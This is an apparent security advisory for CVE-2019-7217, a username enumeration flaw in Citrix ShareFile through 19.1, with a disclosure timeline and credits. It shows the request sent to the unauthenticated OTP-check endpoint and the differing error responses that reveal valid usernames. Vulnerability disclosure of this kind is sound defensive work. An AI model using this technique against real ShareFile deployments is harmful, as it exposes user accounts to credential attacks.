Author: Armando Huesca Prida
Summary:
It is possible to enumerate application username based on different server responses using the request to check the otp code. No authentication is required.
Tested Versions: Citrix ShareFile through 19.1
Product URL: https://www.sharefile.com/
CVE-ID: CVE-2019-7217
Details:
It is possible to enumerate application username based on different server
responses using the request to check the otp code. No authentication is
required.
Following an example of HTTP request:
redirect_uri=https%3A%2F%2Fxxx.sharefile.eu%2Flogin%2Foauthlogin&h=&requireV3=false&code=123
Response if username is not correct:{"error":true,"errorMessage":"You are not authorized to use this client","errorCode":126}
{"error":true,"errorMessage":"Unable to verify two factor code.","errorCode":122}
22-01-2019 Vendor disclosure
05-02-2019 Acknoledge from vendor
02-05-2019 Public Release
Discovered by Armando Huesca and Andrea Pessione of SKIT Cyber Security